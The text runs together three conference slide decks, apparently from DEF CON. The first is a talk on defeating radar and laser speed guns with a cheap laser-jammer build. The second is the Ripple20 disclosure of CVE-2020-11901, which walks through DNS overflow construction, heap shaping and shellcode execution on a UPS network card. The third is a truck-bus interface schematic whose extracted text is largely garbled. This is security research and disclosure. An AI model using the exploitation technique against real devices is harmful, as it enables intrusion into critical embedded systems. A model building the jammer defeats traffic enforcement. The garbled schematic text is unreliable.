 (most common is 33.8, 34.6, 34.7, 35.5, 35.7 GHz in the US / 34.0, 34.3, 35.5 in EU) • Ku Band is in the 12 to 18 GHz range 
 (Ku is not used in the US, most common is 13.45 in Europe) LIVE DEMO http://hyperphysics.phy-astr.gsu.edu/hbase/Sound/radar.html Defeat X band radar at 10.50000203125Ghz Defeat K band radar at 24.12000466607143Ghz Confuse? Ka band radar at 33.80000653869047Ghz Microwave Oven 2.4Ghz = -97,420,118 mph + WE HAVE A PROBLEM good idea meter: RED good idea meter: RED WE HAVE A PROBLEM The Roads API returns the posted speed limit for a given road segment. + + good idea meter: RED Using a radar jammer is a federal offense that can result in a $50,000 fine and/or five years in prison. MIRT * This is still not me (LEGAL) EFFECTIVE COUNTERMEASURES • Uniden R3 or R7 • Escort Max360 • Radenso Pro M • Valentine One w/BT EFFECTIVE COUNTERMEASURES 3 LASER –autoblog.com, 2011 "The FCC doesn't regulate the light spectrum. That's done by the Food and Drug Administration" * This is not my car either CLASS 1 LASER 904nm (Invisible IR) DISTANCE distance Speed = ——————— time,,,. C * T Distance = ———— 2 ,, (MOSTLY-LEGAL) EFFECTIVE COUNTERMEASURES good idea meter: IDK I AM A METER, NOT A COP Legend: RED: ALL COUNTERMEASURES ILLEGAL YELLOW: LASER JAMMING ILLEGAL GREEN: ROCK & ROLL *Luckily nobody is here from the DC Area OPTION 1 5ms 1000’ 800’ 600’ 400’ 5ms 5ms 600’ 999’ COTCHA • ESP8266 Based Laser Jammer • 12V Circuitry for Automobile Install • 940nm Brute Force Mode • Wireless Connectivity & Android App • Legal in SOME STATES! • Laser Gun Emulation Mode • MIRT Mode (good idea meter: SUPER RED) NOTCHACOTCHA NOTCHACOTCHA IS FREEDOM AMERICA! *EXCEPT VIRGINIA NOTCHACOTCHA • D1 Mini (esp8266) : $1.50 • 2.2k Resistor : $0.03 • 3.3v Voltage Regulator : $0.54 • TIP102 Transistor : $0.08 • 940nm LED Array : $6.00 —————————————————————- $8.15 bill of materials, code, and several other bad ideas at github.com/hevnsnt/NOTCHACOTCHA This is only round one Bill Swearingen / &bill / @hevnsnt Slides available now bit.ly/23police Super duper thanks to: @VortexRadar thejunkyardmessiah www.rdforum.org kickass @sec_kc / @networkgeek / @seckcory / @surbo ~#RexKC sucks and #23isReal~
pdf
Hacking the Supply Chain The Ripple20 Vulnerabilities Haunt Hundreds of Millions of Critical Devices DEF CON 28 Safe Mode 1 Who are we? 2 JSOF is a software security consultancy • Shlomi Oberman, co-founder, JSOF • Moshe Kol, Security researcher, JSOF; Finder of Ripple20 • Ariel Schön, Security researcher, JSOF Agenda 3 • Ripple20 • CVE-2020-11901 • Exploiting CVE-2020-11901 Ripple20 4 • Series of 19 zero-day vulnerabilities in Treck TCP/IP* • Amplified by the supply chain • 100’s of millions of devices • Medical, ICS, Home, Enterprise, Transportation, Utilities Ripple20 5 CVE-2020-11896 CVE-2020-11897 CVE-2020-11898 CVE-2020-11899 CVE-2020-11900 CVE-2020-11901 CVE-2020-11902 CVE-2020-11903 CVE-2020-11904 CVE-2020-11905 CVE-2020-11906 CVE-2020-11907 CVE-2020-11908 CVE-2020-11909 CVE-2020-11910 CVE-2020-11911 CVE-2020-11912 CVE-2020-11913 CVE-2020-11914 • 4 critical remote code execution vulnerabilities Ripple20 6 CVE-2020-11896 CVE-2020-11897 CVE-2020-11898 CVE-2020-11899 CVE-2020-11900 CVE-2020-11901 CVE-2020-11902 CVE-2020-11903 CVE-2020-11904 CVE-2020-11905 CVE-2020-11906 CVE-2020-11907 CVE-2020-11908 CVE-2020-11909 CVE-2020-11910 CVE-2020-11911 CVE-2020-11912 CVE-2020-11913 CVE-2020-11914 • 8 medium-high severity vulnerabilities 100’s of Millions of Devices Affected And many more... 7 • Assumption: Every mid-large US organization has one 100’s of Millions of Devices Affected 8 Medical Printers Utilities Transportation Networking Datacenter Smart Buildings Industrial Supply chain 9 Supply chain 10 11 Icon from www.flaticon.com Vulnerabilities 12 Icon from www.flaticon.com Ripple20 13 Icon from www.flaticon.com Why Treck TCP/IP? 14 • Supply chain - mostly unexplored • 1 vulnerability == multiple products • Large IoT impact • Zombie vulnerabilities • Good attack surface Treck TCP/IP 15 • Treck is a small American company • Treck TCP/IP is a proprietary TCP/IP stack; Available >20 years • Embedded devices and RTOS • Very configurable. Each Treck instance is different. • Strategically located at the start of a long supply-chain Ripple20 Research 16 • Reverse engineering of 6 different devices with multiple versions • Every device has a different configuration • Ongoing research Sep’19 - Jun’20 ( 9 months ) • Some strange architectures and firmwares involved 2 whitepapers released About CVE-2020-11901 • Critical vulnerabilities in Treck’s DNS Resolver component. • Once successfully exploited, allows for remote code execution. • Can traverse NAT boundaries. • 4 vulnerabilities and 1 artifacts. • Vary over time and vendor. 17 CVE-2020-11901 AKA “the DNS bugs” 18 DNS Primer: The Basics • The DNS protocol maps between domain names and IP addresses. • Client resolves a name by issuing a query to a DNS server. • The DNS server looks up the name and returns a response. Name: www.example.com Type: A Name: www.example.com Type: A TTL: 86400 Value: 93.184.216.34 Client DNS Server Query Response 19 DNS Primer: Record Types • DNS servers can return multiple answers in the same DNS response. • An answer is specified as a resource record: NAME (var) TYPE (2 bytes) CLASS (2 bytes) TTL (4 bytes) RDLENGTH (2 bytes) RDATA (var) Type Description A IPv4 address for the queried domain. CNAME Alias (canonical name). MX Domain name of a mail server for the queried domain. • Questions and answers have a type. Common types include: 20 Domain Names Encoding • Domain names are encoded as a sequence of labels. • Each label is preceded by a length byte. • Maximum label length is 63. 3 w w w 7 e x a m p l e 3 c o m 0 length length length end 21 DNS Message Compression • Compression is achieved by replacing a sequence of labels with a pointer to prior occurrence of the same sequence. • Compression pointer is encoded in two bytes, the first begins with 11. 11 offset 0 2 16 22 0 1 2 3 4 5 6 7 8 9 a b +0 0xabcd 0x8180 0x0001 0x0001 0x0000 0x0000 +0xc 5 g m a i l 3 c o m 0 0x00 +0x18 0x0f 0x0001 0xc0 0x0c 0x000f 0x0001 0x000151 +0x24 0x80 0x0009 0x0000 4 s m t p 0xc0 0x0c DNS Parsing Logic: Type MX if (cacheEntryQueryType == DNS_TYPE_MX && rrtype == DNS_TYPE_MX) { addr_info = tfDnsAllocAddrInfo(); if (addr_info != NULL) { /* copy preference value of MX record */ memcpy(&addr_info->ai_mxpref, resourceRecordAfterNamePtr + 10, 2); /* compute the length of the MX hostname */ labelLength = tfDnsExpLabelLength(resourceRecordAfterNamePtr + 0xc, pktDataPtr); addr_info->ai_mxhostname = NULL; if (labelLength != 0) { /* allocate buffer for the expanded name */ asciiPtr = tfGetRawBuffer(labelLength); addr_info->ai_mxhostname = asciiPtr; if (asciiPtr != NULL) { /* copy MX hostname to `asciiPtr` as ASCII */ tfDnsLabelToAscii(resourceRecordAfterNamePtr + 0xc, asciiPtr, pktDataPtr); /* ... */ } /* ... */ 1 2 3 23 *Pseudo-code DNS Label Length Calculation tt16Bit tfDnsExpLabelLength(tt8BitPtr labelPtr, tt8BitPtr pktDataPtr){ tt8Bit currLabelLength; tt16Bit i = 0, totalLength = 0; while (labelPtr[i] != 0) { currLabelLength = labelPtr[i]; if ((currLabelLength & 0xc0) == 0) { totalLength += currLabelLength + 1; i += currLabelLength + 1; } else { newLabelPtr = pktDataPtr + (((currLabelLength & 0x3f) << 8) | labelPtr[i+1]); if (newLabelPtr >= labelPtr) { return 0; } labelPtr = newLabelPtr; i = 0; } } return totalLength; } Only allows jumping backwards Reads the current label length Handles the common case: no compression Reads the compression offset 24 *Pseudo-code Vulnerability #1: Read Out-Of-Bounds • tfDnsExpLabelLength might read data out of the packet buffer while iterating over the length bytes (stops at a zero length byte). • Could result in denial-of-service (e.g., read from unmapped page). • Information leakage: • tfDnsLabelToAscii has no bounds check either. • Data from the heap could be interpreted as an MX hostname. • Data is leaked when the client tries to resolve the MX hostname. • Affects Treck version 4.7+, fixed later. • Sweet! but we want RCE… 25 More Issues with tfDnsExpLabelLength • Maximum domain name of 255 characters is not enforced. • Does not validate the characters of the domain name: should be alphanumeric and ‘-’ only. • totalLength variable is stored as an unsigned short (tt16Bit). 26 tt16Bit tfDnsExpLabelLength(tt8BitPtr labelPtr, tt8BitPtr pktDataPtr){ tt8Bit currLabelLength; tt16Bit i = 0, totalLength = 0; /* ... */ return totalLength; } More Issues with tfDnsExpLabelLength • Maximum domain name of 255 characters is not enforced. • Does not validate the characters of the domain name: should be alphanumeric and ‘-’ only. • totalLength variable is stored as an unsigned short (tt16Bit). 27 Vulnerability #2: Integer Overflow • We need to construct a name whose length is larger than 65536. • Can we overflow the totalLength variable within a DNS response packet? • Yes! We use the DNS compression feature to achieve this. • Idea: nested compression pointers. • Two challenges: • Maximum size of the DNS response packet allowed is 1460 bytes. • We can only jump backwards from our current label pointer. 28 Vulnerability #2: Integer Overflow 0 1 2 3 4 5 6 7 8 9 a b c d e f +0 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f +16 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f +32 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f +48 00 0e 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f +64 c0 00 0d 0e 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f +80 c0 01 c0 02 0b 0c 0d 0e 0f 0f 0f 0f 0f 0f 0f 0f +96 c0 03 c0 04 c0 05 c0 06 07 08 09 0a 0b 0c 0d 0e +112 c0 07 c0 08 c0 09 c0 0a c0 0b c0 0c c0 0d c0 0e branch byte compression pointer 29 totalLength= 0 Vulnerability #2: Integer Overflow 0 1 2 3 4 5 6 7 8 9 a b c d e f +0 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f +16 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f +32 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f +48 00 0e 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f +64 c0 00 0d 0e 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f +80 c0 01 c0 02 0b 0c 0d 0e 0f 0f 0f 0f 0f 0f 0f 0f +96 c0 03 c0 04 c0 05 c0 06 07 08 09 0a 0b 0c 0d 0e +112 c0 07 c0 08 c0 09 c0 0a c0 0b c0 0c c0 0d c0 0e branch byte compression pointer Start expansion here branch compression 30 totalLength= 0 16 32 48 64 80 96 111 127 143 159 175 191 207 221 Vulnerability #2: Integer Overflow 0 1 2 3 4 5 6 7 8 9 a b c d e f +0 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f +16 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f +32 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f +48 00 0e 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f +64 c0 00 0d 0e 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f +80 c0 01 c0 02 0b 0c 0d 0e 0f 0f 0f 0f 0f 0f 0f 0f +96 c0 03 c0 04 c0 05 c0 06 07 08 09 0a 0b 0c 0d 0e +112 c0 07 c0 08 c0 09 c0 0a c0 0b c0 0c c0 0d c0 0e branch byte compression pointer Start expansion here branch compression 31 totalLength= 1502 Vulnerability #2: Integer Overflow • To maximize the totalLength, we used the maximum label length 63 (0x3f) instead of 0x0f shown in the example. • Using this construction, we reached a name of length ~72700 bytes, overflowing the totalLength variable. • We have an RCE candidate  • Can be triggered in response to every query type supported - using CNAME records. • Affects Treck versions <= 6.0.1.66. Fast forward to the future… 32 Bad Fix Bad Fix for the Read Out-Of-Bounds Vulnerability 33 Fixing the Read Out-Of-Bounds if (RDLENGTH <= remaining_size) { labelEndPtr = resourceRecordAfterNamePtr + 10 + RDLENGTH; if (cacheEntryQueryType == DNS_TYPE_MX && rrtype == DNS_TYPE_MX) { addr_info = tfDnsAllocAddrInfo(); if (addr_info != NULL && RDLENGTH >= 2) { /* copy preference value of MX record */ memcpy(&addr_info->ai_mxpref, resourceRecordAfterNamePtr + 10, 2); /* compute the length of the MX hostname */ labelLength = tfDnsExpLabelLength(resourceRecordAfterNamePtr+0xc,dnsHeaderPtr,labelEndPtr); addr_info->ai_mxhostname = NULL; if (labelLength != 0) { /* allocate buffer for the expanded name */ asciiPtr = tfGetRawBuffer(labelLength); addr_info->ai_mxhostname = asciiPtr; if (asciiPtr != NULL) { /* copy MX hostname to `asciiPtr` as ASCII */ tfDnsLabelToAscii(resourceRecordAfterNamePtr + 0xc, asciiPtr, dnsHeaderPtr, 1, 0); /* ... */ } /* ... */ When tfDnsExpLabelLength reaches labelEndPtr, it stops processing (w/o error) and returns the current totalLength. 34 *Pseudo-code Vulnerability #3: Bad RDLENGTH • labelEndPtr is calculated based on the RDLENGTH field of the current resource record. • RDLENGTH is attacker-controlled! Oops… NAME TYPE CLASS TTL RDLENGTH RDATA example.com MX IN 86400 20 7 0 0 4 s m t p 7 e x a m p l e 3 c o m 0 labelEndPtr • tfDnsExpLabelLength returns 5; • tfDnsLabelToAscii will copy the entire MX hostname. 35 Artifact: Memory Leak 36 if (RDLENGTH <= remaining_size) { labelEndPtr = resourceRecordAfterNamePtr + 10 + RDLENGTH; if (cacheEntryQueryType == DNS_TYPE_MX && rrtype == DNS_TYPE_MX) { addr_info = tfDnsAllocAddrInfo(); if (addr_info != NULL && RDLENGTH >= 2) { /* copy preference value of MX record */ memcpy(&addr_info->ai_mxpref, resourceRecordAfterNamePtr + 10, 2); /* compute the length of the MX hostname */ labelLength = tfDnsExpLabelLength(resourceRecordAfterNamePtr+0xc,dnsHeaderPtr,labelEndPtr); addr_info->ai_mxhostname = NULL; if (labelLength != 0) { /* allocate buffer for the expanded name */ asciiPtr = tfGetRawBuffer(labelLength); addr_info->ai_mxhostname = asciiPtr; if (asciiPtr != NULL) { /* copy MX hostname to `asciiPtr` as ASCII */ tfDnsLabelToAscii(resourceRecordAfterNamePtr + 0xc, asciiPtr, dnsHeaderPtr, 1, 0); /* ... */ } /* ... */ addrinfo structure is allocated addr_info is not freed on error flows *Pseudo-code Artifact: Memory Leak 37 • An addrinfo structure can be leaked during MX parsing logic. • Size of the leak 0x3c. • Comes in handy when exploiting heap vulnerabilities. CVE-2020-11901: Summary Treck Version Vuln #1: Read OOB Vuln #2: Integer Overflow Vuln #3: Bad RDLENGTH Artifact: Memory Leak Old New 38 A device can be affected by one or more vulnerabilities depending on the exact version. Affected Not affected Exploitation Exploiting CVE-2020-11901 on Schneider Electric UPS Device 39 Target Device • Schneider Electric APC UPS network card • Turbo186 (x86-based) • 16-bit Real Mode • No ASLR or DEP • Weird segmentation (shift 8 instead of 4) • No debugging capabilities • Only limited crashdumps 40 Vulnerability Recap • Primitive: heap overflow via DNS response parsing • Only alpha-numeric characters are copied* • We will exploit using “bad RDLENGTH” (#3) 41 Treck Version Vuln #1: Read OOB Vuln #2: Integer Overflow Vuln #3: Bad RDLENGTH Old New Exploiting Heap Overflows • Metadata corruption • Free-list pointers, block sizes, etc. • Application-specific data structures • Metadata exploitation considered more generic • As demonstrated in our exploit of CVE-2020-11896 • Can we use the same technique here? 42 Treck Heap (in this case…) • Heap structure slightly different this time • Tightest fit favored • Adjacent free blocks are coalesced • Free-list checked on every heap operation • Pre and post sizes verified against each other • Allocated blocks checked only when free()’d • Avoiding a premature crash with alpha-numeric overflow is hard… Free List Base Size (4 bytes) Next (4 bytes) Data Size (4 bytes) Free List Block … Exploitation Technique • We can overflow through all DNS response types • When the device boots*, 3 MX requests are transmitted • Interactivity in exploits is advantageous • Allows easier shaping • Crashing is favorable in order to reach deterministic state • No penalty* for crashing the network card 44 tsDnsCacheEntry tsDnsCacheEntry *dnscNextEntryPtr tsDnsCacheEntry *dnscPrevEntryPtr addrinfo *dnscAddrInfoPtr . . . char *dnscRequestStr int dnscErrorCode . . . short dnscFlags . . . Overflow Target • tsDnsCacheEntry • Contains a list of addrinfo structs • addrinfo holds the contents of a DNS answer (name, IP address, …) • Has many pointers and interesting fields • Many references in DNS response parsing 45 CNAME Processing if (found_cname) { // Get the first addrinfo struct from `tsDnsCacheEntry` first_addr_info = t_dns_cache_entry->dnscAddrInfoPtr; if (first_addr_info) { // get CNAME name length from the packet length = tfDnsExpLabelLength(cname_rdata_ptr, packet_ptr, cname_rdata_end_ptr); if (length) { // allocate cname_label_buffer = tfGetRawBuffer(length); if (cname_label_buffer) { // copy to new buffer tfDnsLabelToAscii(cname_rdata_ptr, cname_label_buffer, packet_ptr, 1, 0); first_addr_info->ai_canonname = cname_label_buffer; } } } } 46 *Pseudo-code Controlled Pointer Write • We can write a 4-byte pointer • (Offset, Segment) • To any alpha-numeric address • Relatively strong exploitation primitive 47 Linear Overflow • Overflow is from end of MX name buffer MX Name Buffer Post- Size Pre- Size Pre- Size tsDnsCacheEntry Post- Size 48 Linear Overflow • Overflow is from end of MX name buffer • tsDnsCacheEntry must be placed after MX name buffer MX Name Buffer Post- Size Pre- Size Pre- Size tsDnsCacheEntry Post- Size EVIL CONTENTS 49 Heap Shaping - Limitations • Overflow target: tsDnsCacheEntry • Allocated on DNS request creation • Overflow source: MX name buffer • Allocated on DNS response parsing • Corrupting free blocks will result in a crash • We must overwrite only allocated data Heap Shaping – Target Shape • A specific hole pattern would allow us to overflow tsDnsCacheEntry • Because of tight-fit preference • Allocation primitives required to attain this shape Head … Hole #1 => MX name buffer separator Hole #2 => tsDnsCacheEntry separator … Tail 51 Temporary Allocation • Every DNS answer that contains a name (MX, PTR, CNAME) causes allocation • Controlled size, controlled contents • All answer types (except CNAME) get a new addrinfo as well • This allocation is free()’d after DNS parsing fails • Or DNS TTL expires • Good for creating arbitrary sized free regions // first, check if the type fits for MX parsing if (t_dns_cache_entry.dnscQueryType == DNS_TYPE_MX && answer_rr_dns.type == DNS_TYPE_MX) { new_addr_info = tfDnsAllocAddrInfo(); if (new_addr_info) { if (answer_rr_dns.rdlen >= 2) { // ... further parsing, including linking the new addrinfo to the list } else { // ... exit with error code } } } addrinfo Memory Leak Allocation Validate data size New addrinfo won’t get free()’d Heap Shaping – Done! • The two allocation primitives are used to shape the heap • Reliable overflow of tsDnsCacheEntry • What can we overwrite with the CNAME pointer write primitive? Head … Hole #1 => MX name buffer separator Hole #2 => tsDnsCacheEntry separator … Tail Pointer Write Limitations • CNAME pointer written to address in tsDnsCacheEntry • Overflow is only alpha-numeric, with trailing null-byte • Can be used as segment MSB • Nothing placed in a strictly alpha-numeric address • Combine two alpha-numeric bytes => Non-alpha-numeric segment • This allows us to overwrite heap utility functions XX XX YY YY | | | | ------- ------- | | offset segment 0x004B << 8 = 0x4B00 + 0x4141 0x8C41 Segment Offset 008C:0041 55 Overwriting a Far Call • Far calls in x86 are encoded with a pointer • Patching a far call using our primitive results in the CNAME buffer being executed • We patch a far call in free() error flow • Called when metadata corruption is detected 9A XX XX YY YY | | | | ------- ------- | | offset segment 56 MX Name Buffer tsDnsCacheEntry dnscAddrInfoPtr 57 Recap MX Name Buffer tsDnsCacheEntry dnscAddrInfoPtr AAAAAAAAAAAAAAA 004B:4141 addrinfo *dnscAddrInfoPtr NAME TYPE RDLENGTH RDATA example CNAME 14 4 E V I L 7 P A Y L O A D 0 sub_free: … call cafe:d00d 1234:5678 58 1234:5678 => “EVIL.PAYLOAD” malloc(14); Recap Payload Trigger • free() error flow will be triggered on overflown MX name free • CNAME buffer contains crafted alpha-numeric shellcode • 2-stage decoder 59 Payload Trigger • free() error flow will be triggered on overflown MX name free • CNAME buffer contains crafted alpha-numeric shellcode • 2-stage decoder • We have achieved arbitrary payload execution! 60 DEMO 61 62 Thanks for listening! [email protected]
pdf
1 1 2 2 3 3 4 4 D D C C B B A A 30V TVS1 SMAJ30A GND RAW GND Power Protection 4 1, 2, 3 5, 6, 7, 8 Q1 IRF9388 12V0 5V Switching Regulator 5V0 12V0 GND Cer./Tant. 10V/16V C2 10uF GND GND 2A Hold 4A Trip PTC1 LittleFuse 2920L200/24 D1 R1 330 GND 5V0 Power LED GND GND GND 5V0 GND GND GND 5V0 Beagle Bone Connections 3V3 3V3 SYS 5V SYS 5V 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 P1 BeagleBone Cape Header P8 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 P2 BeagleBone Cape Header P9 Vin 1 GND 2 Vout 3 Murata 78S Series VR1 50v Alum. Elec. C1 100uF A1 1 VccA 2 A2 3 A3 4 A4 5 A5 6 A6 7 A7 8 A8 9 OE 10 GND 11 B8 12 B7 13 B6 14 B5 15 B4 16 B3 17 B2 18 VccB 19 B1 20 TI TXS108E Bi-Directional Level Shifter U6 GND 3V3 J1708 RX BB J1708-2 TX BB J1708-2 RX BB Buffer-Enable TX CAN0 RX CAN0 TX CAN1 RX CAN1 J1708 RX J1708-2 TX J1708-2 RX TX DCAN0 BB RX DCAN0 BB TX DCAN1 BB RX DCAN1 BB J1708 TX J1708 TX BB Buffer-Enable GPIO Monitor GPIO Monitor UART2 UART4 UART4 UART2 Drive High to enable 4.7k R16 GND TX DCAN0 BB RX DCAN0 BB TX DCAN1 BB RX DCAN1 BB C7 0.1uF GND J1708 RX BB J1708-2 TX BB J1708-2 RX BB J1708 TX BB J1708-2 RX BB J1708 RX BB Truck Duck Revision 3 Title: Sheet 1 of 2 Date Last Modified: Six_Volts 7/7/2016 Version: Check for the latest version and updates at: truckhacking.github.io PIC101 PIC102 COC1 PIC201 PIC202 COC2 PIC701 PIC702 COC7 PID101 PID102 COD1 PIP101 PIP102 PIP103 PIP104 PIP105 PIP106 PIP107 PIP108 PIP109 PIP1010 PIP1011 PIP1012 PIP1013 PIP1014 PIP1015 PIP1016 PIP1017 PIP1018 PIP1019 PIP1020 PIP1021 PIP1022 PIP1023 PIP1024 PIP1025 PIP1026 PIP1027 PIP1028 PIP1029 PIP1030 PIP1031 PIP1032 PIP1033 PIP1034 PIP1035 PIP1036 PIP1037 PIP1038 PIP1039 PIP1040 PIP1041 PIP1042 PIP1043 PIP1044 PIP1045 PIP1046 COP1 PIP201 PIP202 PIP203 PIP204 PIP205 PIP206 PIP207 PIP208 PIP209 PIP2010 PIP2011 PIP2012 PIP2013 PIP2014 PIP2015 PIP2016 PIP2017 PIP2018 PIP2019 PIP2020 PIP2021 PIP2022 PIP2023 PIP2024 PIP2025 PIP2026 PIP2027 PIP2028 PIP2029 PIP2030 PIP2031 PIP2032 PIP2033 PIP2034 PIP2035 PIP2036 PIP2037 PIP2038 PIP2039 PIP2040 PIP2041 PIP2042 PIP2043 PIP2044 PIP2045 PIP2046 COP2 PIPTC101 PIPTC102 COPTC1 PIQ101 PIQ102 PIQ103 PIQ104 PIQ105 PIQ106 PIQ107 PIQ108 COQ1 PIR101 PIR102 COR1 PIR1601 PIR1602 COR16 PITVS101 PITVS102 COTVS1 PIU601 PIU602 PIU603 PIU604 PIU605 PIU606 PIU607 PIU608 PIU609 PIU6010 PIU6011 PIU6012 PIU6013 PIU6014 PIU6015 PIU6016 PIU6017 PIU6018 PIU6019 PIU6020 COU6 PIVR101 PIVR102 PIVR103 COVR1 PIC702 PIP203 PIP204 PIU601 PIU6020 PIC201 PID101 PIP205 PIP206 PIVR103 PIC101 PIQ101 PIQ102 PIQ103 PIVR101 PIC102 PIC202 PIC701 PIP101 PIP102 PIP201 PIP202 PIP2043 PIP2044 PIP2045 PIP2046 PIQ104 PIR102 PIR1601 PITVS101 PIU6011 PIVR102 PID102 PIR101 PIP103 PIP104 PIP105 PIP106 PIP107 PIP108 PIP109 PIP1010 PIP1011 PIP1012 PIP1013 PIP1014 PIP1015 PIP1016 PIP1017 PIP1018 PIP1019 PIP1020 PIP1021 PIP1022 PIP1023 PIP1024 PIP1025 PIP1026 PIP1027 PIP1028 PIP1029 PIP1030 PIP1031 PIP1032 PIP1033 PIP1034 PIP1035 PIP1036 PIP1037 PIP1038 PIP1039 PIP1040 PIP1041 PIP1042 PIP1043 PIP1044 PIP1045 PIP1046 PIP209 PIP2010 PIP2015 PIP2016 PIP2017 PIP2018 PIP2023 PIP2025 PIP2028 PIP2029 PIP2030 PIP2031 PIP2032 PIP2033 PIP2034 PIP2035 PIP2036 PIP2037 PIP2038 PIP2039 PIP2040 PIP2041 PIP2042 PIPTC102 PIQ105 PIQ106 PIQ107 PIQ108 PITVS102 PIP2027 PIR1602 PIU6010 POBuffer0Enable PIU602 POJ170802 TX PIU603 POJ170802 RX PIU604 PORX CAN1 PIU605 POTX CAN1 PIU606 PORX CAN0 PIU607 POTX CAN0 PIU608 POJ1708 TX PIU609 POJ1708 RX PIP2012 PIP2022 PIU6012 POJ1708 RX BB PIP2021 PIU6013 POJ1708 TX BB PIP2020 PIU6014 POTX DCAN0 BB PIP2019 PIU6015 PORX DCAN0 BB PIP2026 PIU6016 POTX DCAN1 BB PIP2024 PIU6017 PORX DCAN1 BB PIP2011 PIP2014 PIU6018 POJ170802 RX BB PIP2013 PIU6019 POJ170802 TX BB PIPTC101 PIP207 PIP208 POBUFFER0ENABLE POJ170802 RX POJ170802 RX BB POJ170802 TX POJ170802 TX BB POJ1708 RX POJ1708 RX BB POJ1708 TX POJ1708 TX BB PORX CAN0 PORX CAN1 PORX DCAN0 BB PORX DCAN1 BB POTX CAN0 POTX CAN1 POTX DCAN0 BB POTX DCAN1 BB 1 1 2 2 3 3 4 4 D D C C B B A A Vehicle 1708-2- Vehicle 1708-2+ J1708 RX GND GND !J1708 TX R12 4.7k R15 4.7k R14 47 R13 47 GND GND J1708/J1587 J1708+ J1708- !J1708-2 TX J1708-2 TX SN65HVD08DR RS485 !RE 2 DE 3 D 4 R 1 Vcc 8 B 7 A 6 GND 5 U1 J1708/J1587 Xcver 3V3 3V3 GND GND CAN0/1939 H CAN0/1939 L R4 100 R3 100 560pF C4 560pF C3 GND GND J1939/CAN 3V3 NC 1 Input 2 GND 3 Output 4 Vcc 5 NC7SZ04 Inverter U2 4.7k R2 3V3 GND GND CAN1 H CAN1 L 4.7k R5 3V3 R7 100 R6 100 560pF C6 560pF C5 GND GND Truck Duck Revision 3 Title: Sheet 2 of 2 Date Last Modified: Six_Volts 7/7/2016 Version: Vehicle 1708- Vehicle 1708+ J1708-2 RX GND GND R8 4.7k R11 4.7k R10 47 R9 47 GND J1708- GND J1708-2+ J1708+ J1708-2- !J1708 TX J1708 TX SN65HVD08DR RS485 !RE 2 DE 3 D 4 R 1 Vcc 8 B 7 A 6 GND 5 U8 J1708/J1587 Xcver 3V3 3V3 3V3 NC 1 Input 2 GND 3 Output 4 Vcc 5 NC7SZ04 Inverter U7 GND RAW Vehicle 1708- Vehicle 1708+ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 17 16 J1 Vehicle Interface Cable Connector GND Vehicle 1708- Vehicle 1708+ RAW 1 1 2 2 3 3 4 4 5 5 P3 Screw Terminals 1 1 2 2 3 3 4 4 5 5 P4 Screw Terminals !J1708-2 TX J1708-2+ J1708-2- Vehicle 1708-2- Vehicle 1708-2+ J1708-2_P J1708-2_N J1708_P J1708_N CAN0_P CAN0_N CAN1_P CAN1_N GND 2 Vcc 3 Rs 8 CAN Rx 4 CAN Tx 1 Vref 5 CANH 7 CANL 6 U3 TI 3.3V CAN Transceiver GND 2 Vcc 3 Rs 8 CAN Rx 4 CAN Tx 1 Vref 5 CANH 7 CANL 6 U4 TI 3.3V CAN Transceiver CAN0/1939 H CAN0/1939 L CAN1 H CAN1 L TX CAN0 RX CAN0 TX CAN1 RX CAN1 CAN0/1939 H CAN0/1939 L CAN1 H CAN1 L CAN0/1939 H CAN0/1939 L CAN1 H CAN1 L Connectors Check for the latest version and updates at: truckhacking.github.io PIC301 PIC302 COC3 PIC401 PIC402 COC4 PIC501 PIC502 COC5 PIC601 PIC602 COC6 PIJ101 PIJ102 PIJ103 PIJ104 PIJ105 PIJ106 PIJ107 PIJ108 PIJ109 PIJ1010 PIJ1011 PIJ1012 PIJ1013 PIJ1014 PIJ1015 PIJ1016 PIJ1017 COJ1 PIP301 PIP302 PIP303 PIP304 PIP305 COP3 PIP401 PIP402 PIP403 PIP404 PIP405 COP4 PIR201 PIR202 COR2 PIR301 PIR302 COR3 PIR401 PIR402 COR4 PIR501 PIR502 COR5 PIR601 PIR602 COR6 PIR701 PIR702 COR7 PIR801 PIR802 COR8 PIR901 PIR902 COR9 PIR1001 PIR1002 COR10 PIR1101 PIR1102 COR11 PIR1201 PIR1202 COR12 PIR1301 PIR1302 COR13 PIR1401 PIR1402 COR14 PIR1501 PIR1502 COR15 PIU101 PIU102 PIU103 PIU104 PIU105 PIU106 PIU107 PIU108 COU1 PIU201 PIU202 PIU203 PIU204 PIU205 COU2 PIU301 PIU302 PIU303 PIU304 PIU305 PIU306 PIU307 PIU308 COU3 PIU401 PIU402 PIU403 PIU404 PIU405 PIU406 PIU407 PIU408 COU4 PIU701 PIU702 PIU703 PIU704 PIU705 COU7 PIU801 PIU802 PIU803 PIU804 PIU805 PIU806 PIU807 PIU808 COU8 PIR801 PIR1201 PIU108 PIU205 PIU303 PIU403 PIU705 PIU808 PIJ1012 PIP402 PIR402 PIU406 NLCAN00N POCAN001939 L PIJ1013 PIP401 PIR302 PIU407 NLCAN00P POCAN001939 H PIJ109 PIP303 PIR702 PIU306 NLCAN10N POCAN1 L 